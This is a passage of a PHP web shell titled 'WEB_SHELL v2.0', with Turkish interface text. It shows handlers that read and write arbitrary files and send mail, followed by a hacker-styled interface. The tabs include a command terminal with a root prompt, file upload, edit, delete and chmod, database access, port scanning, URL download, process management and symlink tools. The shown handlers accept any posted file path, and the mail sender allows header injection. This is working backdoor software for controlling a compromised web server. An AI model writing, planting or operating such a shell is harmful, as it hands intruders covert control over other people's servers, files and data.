    exit;
}

// CSV Viewer/Editor
if (isset($_POST['csv_action'])) {
    header('Content-Type: application/json');
    $action = $_POST['action'] ?? '';
    $file = $_POST['file'] ?? '';
    
    if ($action === 'read') {
        if (is_file($file) && is_readable($file)) {
            $handle = fopen($file, 'r');
            $rows = [];
            $headers = [];
            $first = true;
            while (($data = fgetcsv($handle)) !== false) {
                if ($first) {
                    $headers = $data;
                    $first = false;
                } else {
                    $rows[] = $data;
                }
            }
            fclose($handle);
            $result = ['success' => true, 'headers' => $headers, 'rows' => $rows];
        } else {
            $result = ['success' => false, 'error' => 'File not found'];
        }
    } elseif ($action === 'save') {
        $headers = json_decode($_POST['headers'] ?? '[]', true);
        $rows = json_decode($_POST['rows'] ?? '[]', true);
        if ($file && is_writable($file)) {
            $handle = fopen($file, 'w');
            fputcsv($handle, $headers);
            foreach ($rows as $row) {
                fputcsv($handle, $row);
            }
            fclose($handle);
            $result = ['success' => true, 'message' => 'Saved'];
        } else {
            $result = ['success' => false, 'error' => 'Cannot write file'];
        }
    }
    
    echo json_encode($result);
    exit;
}

// Error Log Analyzer
if (isset($_POST['analyze_log'])) {
    header('Content-Type: application/json');
    $logFile = $_POST['log_file'] ?? '';
    $filter = $_POST['filter'] ?? 'all';
    
    if (is_file($logFile) && is_readable($logFile)) {
        $content = file_get_contents($logFile);
        $lines = explode("\n", $content);
        $errors = [];
        $warnings = [];
        $notices = [];
        $others = [];
        
        foreach ($lines as $lineNum => $line) {
            $line = trim($line);
            if (empty($line)) continue;
            
            $level = 'other';
            if (stripos($line, 'error') !== false || stripos($line, 'fatal') !== false || stripos($line, 'exception') !== false) {
                $level = 'error';
                $errors[] = ['line' => $lineNum + 1, 'text' => $line];
            } elseif (stripos($line, 'warning') !== false) {
                $level = 'warning';
                $warnings[] = ['line' => $lineNum + 1, 'text' => $line];
            } elseif (stripos($line, 'notice') !== false || stripos($line, 'deprecated') !== false) {
                $level = 'notice';
                $notices[] = ['line' => $lineNum + 1, 'text' => $line];
            } else {
                $others[] = ['line' => $lineNum + 1, 'text' => $line];
            }
        }
        
        $result = [
            'success' => true,
            'stats' => [
                'total' => count($lines),
                'errors' => count($errors),
                'warnings' => count($warnings),
                'notices' => count($notices),
                'others' => count($others)
            ],
            'errors' => $errors,
            'warnings' => $warnings,
            'notices' => $notices,
            'others' => $others
        ];
    } else {
        $result = ['success' => false, 'error' => 'File not found'];
    }
    
    echo json_encode($result);
    exit;
}

// Email Tester
if (isset($_POST['test_email'])) {
    header('Content-Type: application/json');
    $to = $_POST['to'] ?? '';
    $subject = $_POST['subject'] ?? 'Test Email';
    $message = $_POST['message'] ?? 'Test message';
    $from = $_POST['from'] ?? 'test@localhost';
    $headers = "From: $from\r\n";
    $headers .= "Content-Type: text/html; charset=UTF-8\r\n";
    
    if ($to) {
        if (mail($to, $subject, $message, $headers)) {
            $result = ['success' => true, 'message' => 'Email sent successfully'];
        } else {
            $result = ['success' => false, 'error' => 'Failed to send email'];
        }
    } else {
        $result = ['success' => false, 'error' => 'Recipient required'];
    }
    
    echo json_encode($result);
    exit;
}

// Mesaj gösterimi
if (isset($_GET['msg'])) {
    $message = $_GET['msg'];
}

// Dosya listesi
$files = [];
if (is_dir($currentDir)) {
    $items = scandir($currentDir);
    foreach ($items as $item) {
        if ($item === '.') continue;
        $path = $currentDir . '/' . $item;
        $files[] = [
            'name' => $item,
            'path' => $path,
            'is_dir' => is_dir($path),
            'size' => is_file($path) ? filesize($path) : 0,
            'perms' => substr(sprintf('%o', fileperms($path)), -4),
            'modified' => filemtime($path),
        ];
    }
    usort($files, function($a, $b) {
        if ($a['is_dir'] === $b['is_dir']) {
            return strcmp($a['name'], $b['name']);
        }
        return $a['is_dir'] ? -1 : 1;
    });
}

// Düzenlenecek dosya
?>
<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Web Shell - File Manager</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Courier New', 'Consolas', monospace;
            background: #0a0a0a;
            color: #00ff00;
            line-height: 1.6;
            background-image: 
                linear-gradient(rgba(0, 255, 0, 0.03) 1px, transparent 1px),
                linear-gradient(90deg, rgba(0, 255, 0, 0.03) 1px, transparent 1px);
            background-size: 20px 20px;
        }
        
        .container {
            max-width: 1400px;
            margin: 0 auto;
            padding: 20px;
        }
        
        .header {
            background: #000;
            border: 1px solid #00ff00;
            padding: 15px;
            margin-bottom: 20px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            box-shadow: 0 0 10px rgba(0, 255, 0, 0.3);
        }
        
        .header h1 {
            font-size: 18px;
            color: #00ff00;
            text-shadow: 0 0 10px rgba(0, 255, 0, 0.5);
        }
        
        .header-info {
            display: flex;
            gap: 20px;
            flex-wrap: wrap;
            font-size: 14px;
        }
        
        .header-info span {
            background: #111;
            border: 1px solid #00ff00;
            padding: 5px 10px;
            color: #00ff00;
            font-size: 12px;
        }
        
        .tabs {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            margin-bottom: 20px;
        }
        
        .tab {
            padding: 6px 12px;
            background: #000;
            border: 1px solid #333;
            border-bottom: none;
            color: #00ff00;
            cursor: pointer;
            font-size: 11px;
            transition: all 0.2s;
            white-space: nowrap;
        }
        
        .tab.active {
            background: #000;
            border-color: #00ff00;
            color: #00ff00;
            box-shadow: 0 -2px 5px rgba(0, 255, 0, 0.3);
        }
        
        .tab:hover {
            background: #111;
            border-color: #00ff00;
        }
        
        .tab-content {
            display: none;
            background: #000;
            border: 1px solid #00ff00;
            padding: 20px;
            box-shadow: 0 0 10px rgba(0, 255, 0, 0.2);
        }
        
        .tab-content.active {
            display: block;
        }
        
        .message {
            padding: 12px;
            margin-bottom: 20px;
            background: #000;
            border: 1px solid #00ff00;
            color: #00ff00;
            font-size: 13px;
        }
        
        .breadcrumb {
            background: #000;
            border: 1px solid #333;
            padding: 12px;
            margin-bottom: 20px;
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            align-items: center;
        }
        
        .breadcrumb a {
            color: #00ff00;
            text-decoration: none;
            padding: 4px 8px;
            border: 1px solid #333;
            font-size: 12px;
            transition: all 0.2s;
        }
        
        .breadcrumb a:hover {
            background: #111;
            border-color: #00ff00;
        }
        
        .file-list {
            background: #000;
            border: 1px solid #333;
            overflow: hidden;
        }
        
        .file-item {
            display: grid;
            grid-template-columns: 30px 1fr 100px 80px 1fr;
            gap: 10px;
            padding: 10px;
            border-bottom: 1px solid #222;
            align-items: center;
            transition: all 0.2s;
            font-size: 13px;
        }
        
        .file-item:hover {
            background: #111;
            border-left: 2px solid #00ff00;
        }
        
        .file-item.dir {
            background: rgba(0, 255, 0, 0.05);
        }
        
        .file-icon {
            font-size: 24px;
            text-align: center;
        }
        
        .file-name {
            font-weight: 500;
        }
        
        .file-name a {
            color: #00ff00;
            text-decoration: none;
        }
        
        .file-name a:hover {
            color: #0f0;
            text-shadow: 0 0 5px #00ff00;
        }
        
        .file-size {
            color: #666;
            font-size: 12px;
        }
        
        .file-perms {
            color: #666;
            font-size: 12px;
            font-family: monospace;
        }
        
        .file-actions {
            display: flex;
            gap: 3px;
            flex-wrap: wrap;
        }
        
        .btn {
            padding: 3px 8px;
            border: 1px solid #333;
            background: #000;
            color: #00ff00;
            cursor: pointer;
            font-size: 11px;
            transition: all 0.2s;
            text-decoration: none;
            display: inline-block;
            font-family: 'Courier New', monospace;
        }
        
        .btn-primary {
            border-color: #00ff00;
        }
        
        .btn-primary:hover {
            background: #00ff00;
            color: #000;
            box-shadow: 0 0 5px #00ff00;
        }
        
        .btn-danger {
            border-color: #ff0000;
            color: #ff0000;
        }
        
        .btn-danger:hover {
            background: #ff0000;
            color: #000;
            box-shadow: 0 0 5px #ff0000;
        }
        
        .btn-success {
            border-color: #00ff00;
        }
        
        .btn-success:hover {
            background: #00ff00;
            color: #000;
            box-shadow: 0 0 5px #00ff00;
        }
        
        .btn-warning {
            border-color: #ffaa00;
            color: #ffaa00;
        }
        
        .btn-warning:hover {
            background: #ffaa00;
            color: #000;
            box-shadow: 0 0 5px #ffaa00;
        }
        
        .actions-bar {
            background: #000;
            border: 1px solid #333;
            padding: 12px;
            margin-bottom: 20px;
            display: flex;
            gap: 8px;
            flex-wrap: wrap;
        }
        
        .form-group {
            margin-bottom: 15px;
        }
        
        .form-group label {
            display: block;
            margin-bottom: 5px;
            color: #00ff00;
            font-size: 12px;
        }
        
        .form-group input,
        .form-group textarea,
        .form-group select {
            width: 100%;
            padding: 8px;
            background: #000;
            border: 1px solid #333;
            color: #00ff00;
            font-family: 'Courier New', monospace;
            font-size: 13px;
        }
        
        .form-group input:focus,
        .form-group textarea:focus,
        .form-group select:focus {
            outline: none;
            border-color: #00ff00;
            box-shadow: 0 0 5px rgba(0, 255, 0, 0.3);
        }
        
        .form-group textarea {
            min-height: 300px;
            font-family: 'Courier New', monospace;
        }
        
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.8);
            z-index: 1000;
            justify-content: center;
            align-items: center;
        }
        
        .modal.active {
            display: flex;
        }
        
        .modal-content {
            background: #000;
            border: 1px solid #00ff00;
            padding: 20px;
            max-width: 600px;
            width: 90%;
            max-height: 90vh;
            overflow-y: auto;
            box-shadow: 0 0 20px rgba(0, 255, 0, 0.5);
        }
        
        .modal-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
            border-bottom: 1px solid #333;
            padding-bottom: 10px;
        }
        
        .modal-header h2 {
            color: #00ff00;
            font-size: 16px;
        }
        
        .close-btn {
            background: #000;
            color: #ff0000;
            border: 1px solid #ff0000;
            padding: 4px 12px;
            cursor: pointer;
            font-size: 12px;
            font-family: 'Courier New', monospace;
        }
        
        .close-btn:hover {
            background: #ff0000;
            color: #000;
        }
        
        .terminal {
            background: #000;
            color: #00ff00;
            padding: 15px;
            border: 1px solid #00ff00;
            font-family: 'Courier New', monospace;
            font-size: 13px;
            min-height: 400px;
            max-height: 600px;
            overflow-y: auto;
            margin-bottom: 15px;
            box-shadow: inset 0 0 10px rgba(0, 255, 0, 0.2);
        }
        
        .terminal::-webkit-scrollbar {
            width: 8px;
        }
        
        .terminal::-webkit-scrollbar-track {
            background: #000;
        }
        
        .terminal::-webkit-scrollbar-thumb {
            background: #00ff00;
        }
        
        .terminal-input {
            display: flex;
            gap: 8px;
        }
        
        .terminal-input input {
            flex: 1;
            padding: 8px;
            background: #000;
            border: 1px solid #00ff00;
            color: #00ff00;
            font-family: 'Courier New', monospace;
            font-size: 13px;
        }
        
        .terminal-input input:focus {
            outline: none;
            box-shadow: 0 0 5px rgba(0, 255, 0, 0.5);
        }
        
        .terminal-prompt {
            color: #00ff00;
            margin-bottom: 5px;
        }
        
        .terminal-output-line {
            margin: 2px 0;
            word-wrap: break-word;
        }
        
        .code-editor {
            background: #000;
            border: 1px solid #333;
            padding: 15px;
            color: #00ff00;
            font-family: 'Courier New', monospace;
            font-size: 13px;
        }
        
        .system-info-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
            gap: 15px;
            margin-bottom: 20px;
        }
        
        .info-card {
            background: #000;
            border: 1px solid #00ff00;
            padding: 15px;
        }
        
        .info-title {
            color: #00ff00;
            font-weight: bold;
            margin-bottom: 10px;
            border-bottom: 1px solid #333;
            padding-bottom: 5px;
            font-size: 12px;
        }
        
        .info-content {
            color: #00ff00;
            font-size: 12px;
            font-family: 'Courier New', monospace;
            line-height: 1.8;
        }
        
        .info-content span {
            display: block;
            margin: 3px 0;
        }
        
        .progress-bar {
            width: 100%;
            height: 20px;
            background: #111;
            border: 1px solid #333;
            margin-top: 10px;
            overflow: hidden;
        }
        
        .progress-fill {
            height: 100%;
            background: #00ff00;
            transition: width 0.3s;
            display: flex;
            align-items: center;
            justify-content: center;
            color: #000;
            font-size: 11px;
            font-weight: bold;
        }
        
        .text-tools-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));
            gap: 8px;
            margin-top: 10px;
        }
        
        .db-table-item {
            display: inline-block;
            padding: 5px 10px;
            margin: 5px;
            background: #000;
            border: 1px solid #00ff00;
            color: #00ff00;
            cursor: pointer;
            font-size: 12px;
            transition: all 0.2s;
        }
        
        .db-table-item:hover {
            background: #00ff00;
            color: #000;
        }
        
        .db-result-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 15px;
            font-size: 12px;
        }
        
        .db-result-table th,
        .db-result-table td {
            border: 1px solid #333;
            padding: 8px;
            text-align: left;
        }
        
        .db-result-table th {
            background: #111;
            color: #00ff00;
            font-weight: bold;
        }
        
        .db-result-table td {
            color: #00ff00;
        }
        
        .db-result-table tr:hover {
            background: #111;
        }
        
        .search-result-item {
            padding: 10px;
            margin: 5px 0;
            background: #000;
            border: 1px solid #333;
            border-left: 3px solid #00ff00;
            font-size: 12px;
        }
        
        .search-result-item:hover {
            background: #111;
            border-left-color: #0f0;
        }
        
        .preview-container {
            background: #000;
            border: 1px solid #00ff00;
            padding: 15px;
            margin-top: 15px;
        }
        
        .preview-image {
            max-width: 100%;
            border: 1px solid #333;
        }
        
        .preview-code {
            background: #000;
            border: 1px solid #333;
            padding: 15px;
            overflow-x: auto;
            font-family: 'Courier New', monospace;
            font-size: 12px;
            max-height: 500px;
            overflow-y: auto;
        }
        
        @media (max-width: 768px) {
            .file-item {
                grid-template-columns: 1fr;
                gap: 10px;
            }
            
            .header {
                flex-direction: column;
                align-items: flex-start;
            }
            
            .system-info-grid {
                grid-template-columns: 1fr;
            }
            
            .text-tools-grid {
                grid-template-columns: 1fr;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>▶ WEB_SHELL v2.0</h1>
            <div class="header-info">
                <span>📁 <?php echo htmlspecialchars($currentDir); ?></span>
                <span>👤 <?php echo get_current_user(); ?></span>
                <span>🐧 <?php echo php_uname('s'); ?></span>
                <span>PHP <?php echo PHP_VERSION; ?></span>
                <a href="?logout=1" class="btn btn-danger">LOGOUT</a>
            </div>
        </div>
        
        <?php if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } ?>
        
        <?php if ($message): ?>
            <div class="message"><?php echo htmlspecialchars($message); ?></div>
        <?php endif; ?>
        
            <div class="tabs">
            <button class="tab active" onclick="showTab('filemanager')">[FILE_MANAGER]</button>
            <button class="tab" onclick="showTab('terminal')">[TERMINAL]</button>
            <button class="tab" onclick="showTab('upload')">[UPLOAD]</button>
            <button class="tab" onclick="showTab('systeminfo')">[SYSTEM_INFO]</button>
            <button class="tab" onclick="showTab('database')">[DATABASE]</button>
            <button class="tab" onclick="showTab('texttools')">[TEXT_TOOLS]</button>
            <button class="tab" onclick="showTab('filesearch')">[FILE_SEARCH]</button>
            <button class="tab" onclick="showTab('archive')">[ARCHIVE]</button>
            <button class="tab" onclick="showTab('network')">[NETWORK]</button>
            <button class="tab" onclick="showTab('preview')">[PREVIEW]</button>
            <button class="tab" onclick="showTab('backup')">[BACKUP]</button>
            <button class="tab" onclick="showTab('process')">[PROCESS]</button>
            <button class="tab" onclick="showTab('logs')">[LOGS]</button>
            <button class="tab" onclick="showTab('multifile')">[MULTI_FILE]</button>
            <button class="tab" onclick="showTab('compare')">[COMPARE]</button>
            <button class="tab" onclick="showTab('phpinfo')">[PHP_INFO]</button>
            <button class="tab" onclick="showTab('permscalc')">[PERMS_CALC]</button>
            <button class="tab" onclick="showTab('ftp')">[FTP]</button>
            <button class="tab" onclick="showTab('security')">[SECURITY]</button>
            <button class="tab" onclick="showTab('symlink')">[SYMLINK]</button>
            <button class="tab" onclick="showTab('csv')">[CSV]</button>
            <button class="tab" onclick="showTab('errorlog')">[ERROR_LOG]</button>
            <button class="tab" onclick="showTab('codeeditor')">[CODE_EDITOR]</button>
            <button class="tab" onclick="showTab('email')">[EMAIL]</button>
        </div>
        
        <!-- File Manager Tab -->
        <div id="filemanager" class="tab-content active">
            <div class="breadcrumb">
                <a href="?dir=<?php echo urlencode(dirname($currentDir)); ?>">[..]</a>
                <span>/</span>
                <?php
                $parts = explode('/', trim($currentDir, '/'));
                $path = '';
                foreach ($parts as $part) {
                    $path .= '/' . $part;
                    echo '<a href="?dir=' . urlencode($path) . '">' . htmlspecialchars($part) . '</a> <span>/</span> ';
                }
                ?>
            </div>
            
            <div class="actions-bar">
                <button class="btn btn-success" onclick="showModal('createModal')">+ FILE</button>
                <button class="btn btn-success" onclick="showModal('createDirModal')">+ DIR</button>
                <button class="btn btn-primary" onclick="showMultiFileActions()" id="multi-file-btn" style="display: none;">MULTI ACTIONS (<span id="selected-count">0</span>)</button>
            </div>
            
            <div class="file-list">
                <div class="file-item" style="background: #111; font-weight: bold; border-bottom: 2px solid #00ff00;">
                    <div class="file-icon"><input type="checkbox" id="select-all" onclick="toggleSelectAll()"></div>
                    <div class="file-name">NAME</div>
                    <div class="file-size">SIZE</div>
                    <div class="file-perms">PERMS</div>
                    <div class="file-actions">ACTIONS</div>
                </div>
                
                <?php foreach ($files as $file): ?>
                    <div class="file-item <?php echo $file['is_dir'] ? 'dir' : ''; ?>">
                        <div class="file-icon">
                            <input type="checkbox" class="file-checkbox" value="<?php echo htmlspecialchars($file['path']); ?>" onchange="updateSelectedFiles()">
                        </div>
                        <div class="file-name">
                            <?php if ($file['is_dir']): ?>
                                <a href="?dir=<?php echo urlencode($file['path']); ?>">
                                    <?php echo htmlspecialchars($file['name']); ?>
                                </a>
                            <?php else: ?>
                                <a href="?dir=<?php echo urlencode($currentDir); ?>&edit=<?php echo urlencode($file['name']); ?>">
                                    <?php echo htmlspecialchars($file['name']); ?>
                                </a>
                            <?php endif; ?>
                        </div>
                        <div class="file-size">
                            <?php echo $file['is_dir'] ? '[DIR]' : formatBytes($file['size']); ?>
                        </div>
                        <div class="file-perms"><?php echo $file['perms']; ?></div>
                        <div class="file-actions">
                            <?php if (!$file['is_dir']): ?>
                                <a href="#" onclick="openEditModal('<?php echo htmlspecialchars($file['path']); ?>', '<?php echo htmlspecialchars($file['name']); ?>'); return false;" class="btn btn-primary">EDIT</a>
                                <a href="?dir=<?php echo urlencode($currentDir); ?>&download=<?php echo urlencode($file['name']); ?>" class="btn btn-success">DL</a>
                            <?php endif; ?>
                            <a href="?dir=<?php echo urlencode($currentDir); ?>&rename=<?php echo urlencode($file['name']); ?>" class="btn btn-warning" onclick="renameFile('<?php echo htmlspecialchars($file['name']); ?>'); return false;">RENAME</a>
                            <a href="?dir=<?php echo urlencode($currentDir); ?>&chmod=<?php echo urlencode($file['name']); ?>" class="btn btn-warning" onclick="chmodFile('<?php echo htmlspecialchars($file['name']); ?>', '<?php echo $file['perms']; ?>'); return false;">CHMOD</a>
                            <a href="?dir=<?php echo urlencode($currentDir); ?>&delete=<?php echo urlencode($file['name']); ?>" class="btn btn-danger" onclick="return confirm('Delete?');">DEL</a>
                        </div>
                    </div>
                <?php endforeach; ?>
            </div>
        </div>
        
        <!-- Terminal Tab -->
        <div id="terminal" class="tab-content">
            <div style="display: grid; grid-template-columns: 1fr 300px; gap: 15px;">
                <div>
                    <div class="terminal" id="terminal-output">
                        <div class="terminal-prompt">[root@shell ~]$ Terminal hazır. Komut girin...</div>
                    </div>
                    <div class="terminal-input">
                        <input type="text" id="terminal-cmd" placeholder="Komut girin..." autofocus>
                        <button type="button" onclick="executeTerminalCommand()" class="btn btn-primary">▶</button>
                    </div>
                </div>
                <div>
                    <h4 style="color: #00ff00; margin-bottom: 10px; font-size: 12px;">COMMAND HISTORY</h4>
                    <div id="command-history" style="background: #000; border: 1px solid #333; padding: 10px; max-height: 500px; overflow-y: auto; font-size: 11px;">
                        <div style="color: #666;">No history</div>
                    </div>
                    <button onclick="loadCommandHistory()" class="btn btn-primary" style="margin-top: 10px; width: 100%;">REFRESH</button>
                    <button onclick="clearCommandHistory()" class="btn btn-danger" style="margin-top: 5px; width: 100%;">CLEAR</button>
                </div>
            </div>
        </div>
        
        <!-- Upload Tab -->
        <div id="upload" class="tab-content">
            <form method="POST" enctype="multipart/form-data">
                <div class="form-group">
                    <label>Dosya Seç:</label>
                    <input type="file" name="upload_file" required>
                </div>
                <button type="submit" class="btn btn-primary">📤 Yükle</button>
            </form>
        </div>
        
        <!-- System Info Tab -->
        <div id="systeminfo" class="tab-content">
            <div class="system-info-grid">
                <div class="info-card">
                    <div class="info-title">OS INFO</div>
                    <div class="info-content" id="os-info">Loading...</div>
                </div>
                <div class="info-card">
                    <div class="info-title">PHP INFO</div>
                    <div class="info-content" id="php-info">Loading...</div>
                </div>
                <div class="info-card">
                    <div class="info-title">MEMORY</div>
                    <div class="info-content" id="memory-info">Loading...</div>
                </div>
                <div class="info-card">
                    <div class="info-title">DISK USAGE</div>
                    <div class="info-content" id="disk-info">Loading...</div>
                    <div class="progress-bar">
                        <div class="progress-fill" id="disk-progress"></div>
                    </div>
                </div>
                <div class="info-card">
                    <div class="info-title">SERVER</div>
                    <div class="info-content" id="server-info">Loading...</div>
                </div>
                <div class="info-card">
                    <div class="info-title">CPU INFO</div>
                    <div class="info-content" id="cpu-info">Loading...</div>
                </div>
            </div>
            <button onclick="loadSystemInfo()" class="btn btn-success" style="margin-top: 20px;">REFRESH</button>
        </div>
        
        <!-- Database Manager Tab -->
        <div id="database" class="tab-content">
            <div id="db-connect-section">
                <h3 style="color: #00ff00; margin-bottom: 15px;">DATABASE CONNECTION</h3>
                <form id="db-connect-form">
                    <div class="form-group">
                        <label>TYPE:</label>
                        <select name="db_type" required>
                            <option value="mysql">MySQL</option>
                        </select>
                    </div>
                    <div class="form-group">
                        <label>HOST:</label>
                        <input type="text" name="db_host" value="localhost" required>
                    </div>
                    <div class="form-group">
                        <label>USER:</label>
                        <input type="text" name="db_user" value="root" required>
                    </div>
                    <div class="form-group">
                        <label>PASSWORD:</label>
                        <input type="password" name="db_pass">
                    </div>
                    <div class="form-group">
                        <label>DATABASE:</label>
                        <input type="text" name="db_name" required>
                    </div>
                    <button type="submit" class="btn btn-success">CONNECT</button>
                </form>
            </div>
            
            <div id="db-workspace" style="display: none; margin-top: 20px;">
                <div style="display: flex; gap: 10px; margin-bottom: 15px;">
                    <button onclick="loadTables()" class="btn btn-primary">SHOW TABLES</button>
                    <button onclick="disconnectDB()" class="btn btn-danger">DISCONNECT</button>
                </div>
                <div id="db-tables-list" style="margin-bottom: 15px;"></div>
                <div class="form-group">
                    <label>SQL QUERY:</label>
                    <textarea id="db-query" rows="5" style="font-family: 'Courier New', monospace;"></textarea>
                </div>
                <button onclick="executeQuery()" class="btn btn-success">EXECUTE</button>
                <div id="db-result" style="margin-top: 15px;"></div>
            </div>
        </div>
        
        <!-- Text Tools Tab -->
        <div id="texttools" class="tab-content">
            <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 20px;">
                <div>
                    <div class="form-group">
                        <label>INPUT:</label>
                        <textarea id="text-input" rows="10" placeholder="Metin girin..."></textarea>
                    </div>
                    <div class="text-tools-grid">
                        <button onclick="textTool('base64_encode')" class="btn btn-primary">BASE64 ENCODE</button>
                        <button onclick="textTool('base64_decode')" class="btn btn-primary">BASE64 DECODE</button>
                        <button onclick="textTool('url_encode')" class="btn btn-primary">URL ENCODE</button>
                        <button onclick="textTool('url_decode')" class="btn btn-primary">URL DECODE</button>
                        <button onclick="textTool('md5')" class="btn btn-warning">MD5</button>
                        <button onclick="textTool('sha1')" class="btn btn-warning">SHA1</button>
                        <button onclick="textTool('sha256')" class="btn btn-warning">SHA256</button>
                        <button onclick="textTool('sha512')" class="btn btn-warning">SHA512</button>
                        <button onclick="textTool('hex_encode')" class="btn btn-success">HEX ENCODE</button>
                        <button onclick="textTool('hex_decode')" class="btn btn-success">HEX DECODE</button>
                        <button onclick="textTool('json_format')" class="btn btn-primary">JSON FORMAT</button>
                        <button onclick="textTool('json_validate')" class="btn btn-primary">JSON VALIDATE</button>
                    </div>
                </div>
                <div>
                    <div class="form-group">
                        <label>OUTPUT:</label>
                        <textarea id="text-output" rows="10" readonly></textarea>
                    </div>
                    <button onclick="copyOutput()" class="btn btn-success">COPY OUTPUT</button>
                    <button onclick="clearTextTools()" class="btn btn-danger">CLEAR</button>
                </div>
            </div>
        </div>
        
        <!-- File Search Tab -->
        <div id="filesearch" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">FILE SEARCH</h3>
            <form id="file-search-form">
                <div class="form-group">
                    <label>SEARCH DIRECTORY:</label>
                    <input type="text" id="search-dir" value="<?php echo htmlspecialchars($currentDir); ?>" required>
                </div>
                <div class="form-group">
                    <label>SEARCH TERM:</label>
                    <input type="text" id="search-term" placeholder="Aranacak kelime..." required>
                </div>
                <div class="form-group">
                    <label>SEARCH TYPE:</label>
                    <select id="search-type">
                        <option value="filename">Filename</option>
                        <option value="content">File Content</option>
                    </select>
                </div>
                <div class="form-group">
                    <label>
                        <input type="checkbox" id="use-regex"> Use Regex
                    </label>
                </div>
                <button type="submit" class="btn btn-success">SEARCH</button>
            </form>
            <div id="search-results" style="margin-top: 20px;"></div>
        </div>
        
        <!-- Archive Manager Tab -->
        <div id="archive" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">ARCHIVE MANAGER</h3>
            <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 20px;">
                <div>
                    <h4 style="color: #00ff00; margin-bottom: 10px;">CREATE ARCHIVE</h4>
                    <div class="form-group">
                        <label>ARCHIVE NAME:</label>
                        <input type="text" id="archive-name" value="archive_<?php echo date('Y-m-d_H-i-s'); ?>.zip" required>
                    </div>
                    <div class="form-group">
                        <label>FILES/DIRS (one per line):</label>
                        <textarea id="archive-files" rows="5" placeholder="/path/to/file1&#10;/path/to/dir1"></textarea>
                    </div>
                    <button onclick="createArchive()" class="btn btn-success">CREATE</button>
                </div>
                <div>
                    <h4 style="color: #00ff00; margin-bottom: 10px;">EXTRACT ARCHIVE</h4>
                    <div class="form-group">
                        <label>ARCHIVE PATH:</label>
                        <input type="text" id="extract-archive" placeholder="/path/to/archive.zip" required>
                    </div>
                    <div class="form-group">
                        <label>EXTRACT TO:</label>
                        <input type="text" id="extract-path" value="<?php echo htmlspecialchars($currentDir); ?>" required>
                    </div>
                    <button onclick="extractArchive()" class="btn btn-primary">EXTRACT</button>
                    <button onclick="listArchive()" class="btn btn-warning">LIST CONTENTS</button>
                    <div id="archive-list" style="margin-top: 15px;"></div>
                </div>
            </div>
        </div>
        
        <!-- Network Tools Tab -->
        <div id="network" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">NETWORK TOOLS</h3>
            <div class="form-group">
                <label>TOOL:</label>
                <select id="network-tool">
                    <option value="ping">Ping</option>
                    <option value="port_scan">Port Scan</option>
                    <option value="dns_lookup">DNS Lookup</option>
                    <option value="download_url">Download from URL</option>
                    <option value="http_request">HTTP Request</option>
                </select>
            </div>
            <div class="form-group">
                <label>TARGET/URL:</label>
                <input type="text" id="network-target" placeholder="example.com or 192.168.1.1" required>
            </div>
            <div class="form-group" id="port-group" style="display: none;">
                <label>PORT (optional, leave empty for common ports scan):</label>
                <input type="number" id="network-port" placeholder="80">
            </div>
            <button onclick="executeNetworkTool()" class="btn btn-success">EXECUTE</button>
            <div id="network-result" style="margin-top: 15px; padding: 10px; background: #000; border: 1px solid #333; font-family: monospace; font-size: 12px; white-space: pre-wrap; max-height: 400px; overflow-y: auto;"></div>
        </div>
        
        <!-- File Preview Tab -->
        <div id="preview" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">FILE PREVIEW</h3>
            <div class="form-group">
                <label>FILE PATH:</label>
                <input type="text" id="preview-path" value="<?php echo htmlspecialchars($currentDir); ?>" placeholder="/path/to/file">
            </div>
            <button onclick="previewFile()" class="btn btn-success">PREVIEW</button>
            <div id="preview-result" style="margin-top: 20px;"></div>
        </div>
        
        <!-- Backup Manager Tab -->
        <div id="backup" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">BACKUP MANAGER</h3>
            <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 20px;">
                <div>
                    <h4 style="color: #00ff00; margin-bottom: 10px;">CREATE BACKUP</h4>
                    <div class="form-group">
                        <label>SOURCE (File/Directory):</label>
                        <input type="text" id="backup-source" value="<?php echo htmlspecialchars($currentDir); ?>" required>
                    </div>
                    <div class="form-group">
                        <label>BACKUP NAME:</label>
                        <input type="text" id="backup-name" value="backup_<?php echo date('Y-m-d_H-i-s'); ?>.zip" required>
                    </div>
                    <button onclick="createBackup()" class="btn btn-success">CREATE BACKUP</button>
                </div>
                <div>
                    <h4 style="color: #00ff00; margin-bottom: 10px;">RESTORE BACKUP</h4>
                    <div class="form-group">
                        <label>BACKUP FILE:</label>
                        <input type="text" id="restore-backup" placeholder="/path/to/backup.zip" required>
                    </div>
                    <div class="form-group">
                        <label>RESTORE TO:</label>
                        <input type="text" id="restore-path" value="<?php echo htmlspecialchars($currentDir); ?>" required>
                    </div>
                    <button onclick="restoreBackup()" class="btn btn-primary">RESTORE</button>
                </div>
            </div>
            <div id="backup-result" style="margin-top: 20px;"></div>
        </div>
        
        <!-- Process Manager Tab -->
        <div id="process" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">PROCESS MANAGER</h3>
            <button onclick="loadProcesses()" class="btn btn-success">REFRESH</button>
            <div id="process-list" style="margin-top: 15px; max-height: 600px; overflow-y: auto;"></div>
        </div>
        
        <!-- Log Viewer Tab -->
        <div id="logs" class="tab-content">
            <h3 style="color: #00ff00; margin-bottom: 15px;">LOG VIEWER</h3>
            <div class="form-group">
